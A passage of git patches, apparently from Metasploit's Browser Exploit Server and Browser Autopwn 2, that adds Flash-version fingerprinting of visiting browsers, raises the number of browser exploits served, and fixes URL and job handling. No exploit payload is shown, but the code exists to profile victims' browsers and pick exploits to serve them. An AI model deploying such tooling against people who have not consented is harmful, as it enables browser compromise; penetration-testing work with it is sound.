SWF loads here - '' + path = ::File.join(Msf::Config.data_directory, 'flash_detector', 'detector.swf') + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf end @@ -514,14 +570,10 @@ module Msf send_response(cli, html, {'Set-Cookie' => cookie_header(tag)}) when /#{@flash_swf}/ + vprint_status("Sending SWF used for Flash detection") swf = load_swf_detection - send_response(cli, swf) - - when /#{@flash_receiver_page}/ - vprint_status("Received information from Flash") - process_browser_info(:flash, cli, request) - send_not_found(cli) - + send_response(cli, swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + when /#{@info_receiver_page}/ # # The detection code will hit this if Javascript is enabled From 244d9bae64cb53446fd7c157de9e4a17da0d73f3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 13 Jul 2015 16:52:25 -0500 Subject: [PATCH 129/150] Add max timeout --- .../exploit/remote/browser_exploit_server.rb | 39 +++++++++++-------- 1 file changed, 23 insertions(+), 16 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index a2e881795f..b10a009b96 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -388,9 +388,6 @@ module Msf <%= js_misc_addons_detect %> <%= js_ie_addons_detect if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %> - var flash_version = ""; - var do_flash_loop = true; - function objToQuery(obj) { var q = []; for (var key in obj) { @@ -410,11 +407,19 @@ module Msf }); } + var flashVersion = ""; + var doFlashLoop = true; + var maxTimeout = null; + function setFlashVersion(ver) { console.log('called! :) ' + ver) - flash_version = ver - do_flash_loop = false - console.log('flash version after set_version: ' + flash_version) + flashVersion = ver + doFlashLoop = false + if (maxTimeout != null) { + clearTimeout(maxTimeout); + maxTimeout = null + } + console.log('flash version after set_version: ' + flashVersion) return; } @@ -483,23 +488,25 @@ module Msf <% end %> if (d["flash"] != null && (d["flash"].match(/[\\d]+.[\\d]+.[\\d]+.[\\d]+/)) == null) { - alert('flash detection!') - // Load SWF for accurate Flash detection - // This SWF needs to send the Flash version info as a POST request to BES sort of like this: + alert('flash detection!'); var flashObject = createFlashObject('<%=get_resource.chomp("/")%>/<%=@flash_swf%>', {width: 1, height: 1}, {allowScriptAccess: 'always', Play: 'True'}); + // After 5s stop waiting and use the version retrieved with JS + maxTimeout = setTimeout(function(){ doFlashLoop = false }, 5000); + + // Check every 100 ms (function loop(){ - console.log('loop: ' + flash_version) + console.log('loop: ' + flashVersion) setTimeout(function(){ - if (do_flash_loop) { + if (doFlashLoop) { loop() } - console.log('finally: ' + flash_version) - if (!isEmpty(flash_version)) { - d["flash"] = flash_version + console.log('finally: ' + flashVersion) + if (!isEmpty(flashVersion)) { + d["flash"] = flashVersion } sendInfo(d) - }, 1000); + }, 100); })(); document.body.appendChild(flashObject) @@ -573,7 +580,7 @@ module Msf vprint_status("Sending SWF used for Flash detection") swf = load_swf_detection send_response(cli, swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) - + when /#{@info_receiver_page}/ # # The detection code will hit this if Javascript is enabled From 8928c5529cab5dd588232df7f4ab0507bd65f565 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 13 Jul 2015 17:43:04 -0500 Subject: [PATCH 130/150] Fix Javascript code --- .../exploit/remote/browser_exploit_server.rb | 41 ++++++++++--------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index b10a009b96..38cdcc9151 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -408,18 +408,17 @@ module Msf } var flashVersion = ""; - var doFlashLoop = true; + var doInterval = true; var maxTimeout = null; + var intervalTimeout = null; function setFlashVersion(ver) { - console.log('called! :) ' + ver) flashVersion = ver - doFlashLoop = false if (maxTimeout != null) { clearTimeout(maxTimeout); maxTimeout = null } - console.log('flash version after set_version: ' + flashVersion) + doInterval = false return; } @@ -446,8 +445,6 @@ module Msf div.innerHTML = html; obj = div.firstChild; div.removeChild(obj); - console.log(obj) - alert('check obj') return obj; } @@ -488,26 +485,30 @@ module Msf <% end %> if (d["flash"] != null && (d["flash"].match(/[\\d]+.[\\d]+.[\\d]+.[\\d]+/)) == null) { - alert('flash detection!'); var flashObject = createFlashObject('<%=get_resource.chomp("/")%>/<%=@flash_swf%>', {width: 1, height: 1}, {allowScriptAccess: 'always', Play: 'True'}); - // After 5s stop waiting and use the version retrieved with JS - maxTimeout = setTimeout(function(){ doFlashLoop = false }, 5000); + // After 5s stop waiting and use the version retrieved with JS if there isn't anything + maxTimeout = setTimeout(function() { + if (intervalTimeout != null) { + doInterval = false + clearInterval(intervalTimeout) + } + if (!isEmpty(flashVersion)) { + d["flash"] = flashVersion + } + sendInfo(d); + }, 5000); - // Check every 100 ms - (function loop(){ - console.log('loop: ' + flashVersion) - setTimeout(function(){ - if (doFlashLoop) { - loop() - } - console.log('finally: ' + flashVersion) + // Check if there is a new flash version every 100ms + intervalTimeout = setInterval(function() { + if (!doInterval) { + clearInterval(intervalTimeout); if (!isEmpty(flashVersion)) { d["flash"] = flashVersion } - sendInfo(d) - }, 100); - })(); + sendInfo(d); + } + }, 100); document.body.appendChild(flashObject) } else { From 8fb6bedd947c194468ce4ffebbac6b075caec663 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 13 Jul 2015 18:23:39 -0500 Subject: [PATCH 131/150] Delete as3 detecotr --- data/flash_detector/detector.swf | Bin 801 -> 0 bytes external/source/flash_detector/Detector.as | 36 ------------------ .../exploit/remote/browser_exploit_server.rb | 2 +- 3 files changed, 1 insertion(+), 37 deletions(-) delete mode 100644 data/flash_detector/detector.swf delete mode 100755 external/source/flash_detector/Detector.as diff --git a/data/flash_detector/detector.swf b/data/flash_detector/detector.swf deleted file mode 100644 index e7a48d93691d0907316c7141d864790570b99d71..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 801 zcmV++1K#{vS5qC`1ONaK0{{SB001BW06YKujv4yj=Vl0?JwAo?b#KsqVKo~Xixy4a z1v37mOh!q!duw(1D_l1z3z0VgHxB9Y;ryOt+H4UaGwq-bc5tB0m@amJ@Zeci1_!QZnT84W^-kDu!b~qNjlRVSVp3_xhTH3JNC+2)1J*>=-p>|kv2*_BK)@TdzxW~s5 zRX~U5S-?);A+G44YL3M0*f=<)^i{biPBGOIR$lYO&{zPAusrYQ+MNi=aD#T4!$ zPkS*y6Mr~&jb2>K)qny&rD&(ESY3$E?lK{?1zUms&{I3Vb0PAfZnw)6Q3%5yC1XyKaFMW zh();^#l%$yYUu1F6xNLje$A1ok9CORez%6DkmYl83$w83pe+7>tTq6gI*Z<$H1=`b zuAKe}IlLQz*K{>h}f%=FRX71&F=|ENB4n{I3MQS;6FB; z%w2iKvPqvxFbM5*%MOZ9@|W~$RwJ}aOUKSOiSLaT Date: Mon, 13 Jul 2015 18:26:02 -0500 Subject: [PATCH 132/150] Add AS2 flash detection code --- data/flash_detector/flashdetector.swf | Bin 0 -> 455 bytes .../flash_detector/bin/expressInstall.swf | Bin 0 -> 773 bytes external/source/flash_detector/bin/index.html | 39 +++++++++++++ .../source/flash_detector/bin/js/swfobject.js | 4 ++ .../flash_detector/flash_detector.as2proj | 55 ++++++++++++++++++ external/source/flash_detector/src/Main.as | 31 ++++++++++ 6 files changed, 129 insertions(+) create mode 100755 data/flash_detector/flashdetector.swf create mode 100755 external/source/flash_detector/bin/expressInstall.swf create mode 100755 external/source/flash_detector/bin/index.html create mode 100755 external/source/flash_detector/bin/js/swfobject.js create mode 100755 external/source/flash_detector/flash_detector.as2proj create mode 100755 external/source/flash_detector/src/Main.as diff --git a/data/flash_detector/flashdetector.swf b/data/flash_detector/flashdetector.swf new file mode 100755 index 0000000000000000000000000000000000000000..30293d10dc9a08eefe98bd5f82104310b1dbdf91 GIT binary patch literal 455 zcmV;&0XY6cS5pX;0ssJb+DuYSZ__{!eO^2DhC@$+;+9r-4YVc! znS>-sky!+U1SQlI7}mdbrp#uj=7tK8c%w`X^F z!2s&gDYGKxaeEl9XkX-Wg?V0mKL>uL_bM>3A_s!1by$ik=$*#gIB1#h#5qI6xp`` zBCXdE2^q%Rs*HRkAPM#+oIk?z_cdJ(X*P*>KODX0ZJUWPd=Q?U)EkYIh=Mp|iAQ@W4#GEdyzUcY x^kFbPnvDj-G2B^Un{VOY&`+92m9~?Qn@m#p{=zK9A;G@@009600{~n!e;KWd)#3mE literal 0 HcmV?d00001 diff --git a/external/source/flash_detector/bin/expressInstall.swf b/external/source/flash_detector/bin/expressInstall.swf new file mode 100755 index 0000000000000000000000000000000000000000..86958bf3a726d6e946e36fb5d34aaf315c9f0b24 GIT binary patch literal 773 zcmV+g1N!_!S5pQ-1pokeoP|`)Pt-sZ|8;lSEwI4K*P@gUAu&n}HSvZZ1PFwL1zA83 z#=~qoK%v_y{QdanFT+{w@Z$&6T61KWAk)|Bv_e13 zkzQ;4o&u7j&L%&Rbo@gZgY7bt`wO<^ArQVUco)Icx1Iz$4zdt3Vd!_J~za6aTSF^ zv*wWj_qQlBDW*%Qh0S3w+b%KVVDs71dTF1GvFIK}IVLX)XduinxNUQ@0WC30>N}o! zfs~oyyJbqvCJncY%}OA6838v!-x3v2KKE$REi=oZhS;l>^CCrO`0sUmoQT`uOOu;q$6 z<1wpLl5wyqJ7`kX;<6{Fxuz}PE2`~CqyDMTstKsdnp_h_xh7Y--z9J#Qch{r3^Ix| zY?;Y7Ii^WhkbL|$fhUn|CW@qLyV8B;f9`SK)?zc-Ru5WDQM`J@cCFfi%&#QSu{?Cr z+dO47+WT0El2ODo)ND#oJJ!}4Kqmp6SAi}9x(K+2g<_uQx;mdgu9>dfO#WmHmO~fB zwl@V6VL+ECF##orl&8!NIZCpil=6m7F5}+VAx1_(hoWP3OC?`ddg2}8P?yWZU&#pU zyAA|S`>(kLz(c%xfPHqz0>igFF-4=}MthU|rRVb?Scz+2sQcc%_lSyYh1whUsV`!p zKbnU;b*BUBKqL9hX!lleS`s;^YU+TtJS}a8{^W9)Z0I-Gn1C1`i8`)kF72nuKvgp> z7h-#+EfR^Hl + + + + flash_detector + + + + + + + +
+

flash_detector

+

Get Adobe Flash player

+
+ + \ No newline at end of file diff --git a/external/source/flash_detector/bin/js/swfobject.js b/external/source/flash_detector/bin/js/swfobject.js new file mode 100755 index 0000000000..8eafe9dd83 --- /dev/null +++ b/external/source/flash_detector/bin/js/swfobject.js @@ -0,0 +1,4 @@ +/* SWFObject v2.2 + is released under the MIT License +*/ +var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y0){for(var af=0;af0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad'}}aa.outerHTML='"+af+"";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/flash_detector/src/Main.as b/external/source/flash_detector/src/Main.as new file mode 100755 index 0000000000..d21babff27 --- /dev/null +++ b/external/source/flash_detector/src/Main.as @@ -0,0 +1,31 @@ +import flash.external.ExternalInterface +import System.capabilities + +class Main +{ + + public static function main(swfRoot:MovieClip):Void + { + // entry point + var app:Main = new Main(); + } + + public function Main() + { + var version:String = getVersion() + ExternalInterface.call("setFlashVersion", version) + } + + private function getVersion():String + { + try { + var version:String = capabilities.version + version = version.split(" ")[1] + version = version.split(",").join(".") + return version + } catch (err:Error) { + return "" + } + } + +} \ No newline at end of file From 8384be64664541c5569686f3a606ed0bae56e19c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 01:02:01 -0500 Subject: [PATCH 133/150] Fix rand_text_alpha and bump max exploit count to 21 --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 8 ++++---- modules/auxiliary/server/browser_autopwn2.rb | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index da06dad2fd..4a634ec2f6 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -87,10 +87,10 @@ module Msf # Requirements are conditions that the browser must have in order to be exploited. @requirements = extract_requirements(self.module_info['BrowserRequirements'] || {}) - @info_receiver_page = rand_text_alpha(5) - @exploit_receiver_page = rand_text_alpha(6) - @noscript_receiver_page = rand_text_alpha(7) - @flash_swf = "#{rand_text_alpha(9)}.swf" + @info_receiver_page = Rex::Text.rand_text_alpha(5) + @exploit_receiver_page = Rex::Text.rand_text_alpha(6) + @noscript_receiver_page = Rex::Text.rand_text_alpha(7) + @flash_swf = "#{Rex::Text.rand_text_alpha(9)}.swf" register_options( [ diff --git a/modules/auxiliary/server/browser_autopwn2.rb b/modules/auxiliary/server/browser_autopwn2.rb index 96558e0c26..e514547b7d 100644 --- a/modules/auxiliary/server/browser_autopwn2.rb +++ b/modules/auxiliary/server/browser_autopwn2.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options([ OptInt.new('ExploitReloadTimeout', [false, 'Number of milliseconds before trying the next exploit', 3000]), - OptInt.new('MaxExploitCount', [false, 'Number of browser exploits to load', 20]), + OptInt.new('MaxExploitCount', [false, 'Number of browser exploits to load', 21]), OptString.new('HTMLContent', [false, 'HTML Content', '']), OptAddressRange.new('AllowedAddresses', [false, "A range of IPs you're interested in attacking"]), OptInt.new('MaxSessionCount', [false, 'Number of sessions to get', -1]), From 0582e7e3caa6841c09348ad771c7398461347b30 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 01:25:41 -0500 Subject: [PATCH 134/150] Return nil instead of "null" A scenario is when FF disables Flash, BES returns "null", and when modules try to use Gem::Version, the "null" is considered a malformed data and it won't be able to continue. --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 4a634ec2f6..1ad7cffa70 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -303,7 +303,7 @@ module Msf parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') vprint_status("Received sniffed browser data over POST:") vprint_line("#{parsed_body}.") - parsed_body.each { |k, v| profile[k.to_sym] = v.first } + parsed_body.each { |k, v| profile[k.to_sym] = (v.first == 'null' ? nil : v.first) } found_ua_name = parsed_body['ua_name'] found_ua_ver = parsed_body['ua_ver'] From 2276e355aa82a5eaf7f86b556aa3ea54de51f198 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 10:51:15 -0500 Subject: [PATCH 135/150] Fix a typo --- spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index c2a5317e60..0a85f94d56 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -11,7 +11,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do def mock_note_destroy - # The destory method doesn't pass the note as an argument startlike framework.jobs_stop_job. + # The destroy method doesn't pass the note as an argument startlike framework.jobs_stop_job. # So here's I'm just gonna clear them all, and that sort of mimics #destroy. framework = double('Msf::Framework', datastore: {}) From 100d3c8d465c351b4808d9dca59b74482fd0394f Mon Sep 17 00:00:00 2001 From: HD Moore Date: Tue, 14 Jul 2015 11:40:28 -0500 Subject: [PATCH 136/150] A number of small fixes for BAPv2 * Use module.register_parent() to pass WORKSPACE and other fields * Prevent partial resource matching in URIs * Make disclosure_date sorting resilient --- lib/msf/core/exploit/browser_autopwnv2.rb | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index f07e990b8c..2216a4242c 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -140,10 +140,9 @@ module Msf xploit.datastore['DisablePayloadHandler'] = true xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix xploit.datastore['URIPATH'] = "/#{assign_module_resource}" - xploit.datastore['WORKSPACE'] = self.workspace - # TODO: Add BAPv2 tracking information (?) - HD - # TODO: Change exploit output options? - HD + # Register this module as a child and copy datastore options + xploit.register_parent(self) end @@ -152,12 +151,13 @@ module Msf # @param resource [String] The resource to check. # @return [TrueClass] Resource is taken. # @return [FalseClass] Resource is not taken. - # TODO: Prevent partial prefix match - HD def is_resource_taken?(resource) taken = false bap_exploits.each do |m| - return true if m.datastore['URIPATH'] == resource + # Prevent partial matching of one resource within another + return true if m.datastore['URIPATH'].index(resource) + return true if resource.index(m.datastore['URIPATH']) end taken @@ -206,8 +206,10 @@ module Msf # @return [Hash] A hash with each module list sorted by disclosure date. def sort_date_in_group(bap_groups) bap_groups.each_pair do |ranking, module_list| - # TODO: Handle wonky dates in local modules better - HD - bap_groups[ranking] = module_list.sort_by {|m| Date.parse(m.disclosure_date.to_s)}.reverse + bap_groups[ranking] = module_list.sort_by {|m| + dstr = m.disclosure_date || "1970-01-01" + Date.parse(dstr) rescue Date.parse("1970-01-01") + }.reverse end end @@ -337,8 +339,9 @@ module Msf # Configurable only by BAP multi_handler.datastore['ExitOnSession'] = false multi_handler.datastore['EXITFUNC'] = 'thread' - multi_handler.datastore['WORKSPACE'] = self.workspace + # Register this module as a child and copy datastore options + multi_handler.register_parent(self) # Now we're ready to start the handler multi_handler.exploit_simple( From 2264efac158b0440230a5f4118f0aab685a97141 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 12:22:38 -0500 Subject: [PATCH 137/150] Reduce output --- lib/msf/core/exploit/browser_autopwnv2.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 2216a4242c..3a5e1e6358 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -140,6 +140,7 @@ module Msf xploit.datastore['DisablePayloadHandler'] = true xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix xploit.datastore['URIPATH'] = "/#{assign_module_resource}" + xploit.datastore['WORKSPACE'] = self.workspace # Register this module as a child and copy datastore options xploit.register_parent(self) @@ -156,6 +157,7 @@ module Msf bap_exploits.each do |m| # Prevent partial matching of one resource within another + next unless m.datastore['URIPATH'] return true if m.datastore['URIPATH'].index(resource) return true if resource.index(m.datastore['URIPATH']) end @@ -339,6 +341,7 @@ module Msf # Configurable only by BAP multi_handler.datastore['ExitOnSession'] = false multi_handler.datastore['EXITFUNC'] = 'thread' + multi_handler.datastore['WORKSPACE'] = self.workspace # Register this module as a child and copy datastore options multi_handler.register_parent(self) From 9dddb13d0b47ab51432fc176aa081925ef6ae944 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 13:10:57 -0500 Subject: [PATCH 138/150] Slow down on killing exploits Jobs aren't thread safe, so we kind of have to take it easy. --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 3a5e1e6358..6c9af0992b 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -87,6 +87,7 @@ module Msf def rm_exploit_jobs exploit_job_ids.each do |id| framework.jobs.stop_job(id) if framework.jobs[id.to_s] + sleep(0.1) end end @@ -107,6 +108,7 @@ module Msf # @see #Msf::Exploit::Remote::BrowserProfileManager#clear_browser_profiles The method for removing target information. # @return [void] def cleanup + print_status("Cleaning up jobs...") super configure_job_output(false) clear_browser_profiles From f76fe0787279d24681905a54d9d13f42a9399db7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 13:49:28 -0500 Subject: [PATCH 139/150] Fix SRVHOST --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 6c9af0992b..bde7c76d6c 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -654,7 +654,7 @@ module Msf exploit_list.each do |mod| proto = datastore['SSL'] ? 'https' : 'http' - host = datastore['URIHOST'] || Rex::Socket.source_address + host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] port = datastore['SRVPORT'] resource = mod.datastore['URIPATH'] url = "#{proto}://#{host}:#{port}#{resource}" From 9980e8f28532b65c4b10add316dc7b7c38927698 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 14:06:33 -0500 Subject: [PATCH 140/150] Change SRVHOST vs URIHOST vs Rex again --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index bde7c76d6c..cd81f661d9 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -654,7 +654,7 @@ module Msf exploit_list.each do |mod| proto = datastore['SSL'] ? 'https' : 'http' - host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + host = datastore['URIHOST'] || datastore['SRVHOST'] || Rex::Socket.source_address port = datastore['SRVPORT'] resource = mod.datastore['URIPATH'] url = "#{proto}://#{host}:#{port}#{resource}" From 8efb4df8af8073431edd08dfe338c2c5c3e43324 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 14:15:32 -0500 Subject: [PATCH 141/150] Change the HOST IP logic again --- lib/msf/core/exploit/browser_autopwnv2.rb | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index cd81f661d9..e1194ba093 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -654,7 +654,16 @@ module Msf exploit_list.each do |mod| proto = datastore['SSL'] ? 'https' : 'http' - host = datastore['URIHOST'] || datastore['SRVHOST'] || Rex::Socket.source_address + host = '' + if datastore['URIHOST'] + host = datastore['URIHOST'] + elsif cli + host = cli.peerhost + elsif datastore['SRVHOST'] != '0.0.0.0' + host = datastore['SRVHOST'] + else + host = Rex::Socket.source_address + end port = datastore['SRVPORT'] resource = mod.datastore['URIPATH'] url = "#{proto}://#{host}:#{port}#{resource}" From 61d49f29e83b1b75a30cf6c634802eb76daad5ba Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 14:16:49 -0500 Subject: [PATCH 142/150] Check nil for SRVHOST option --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index e1194ba093..94ad8fe4d4 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -659,7 +659,7 @@ module Msf host = datastore['URIHOST'] elsif cli host = cli.peerhost - elsif datastore['SRVHOST'] != '0.0.0.0' + elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0' host = 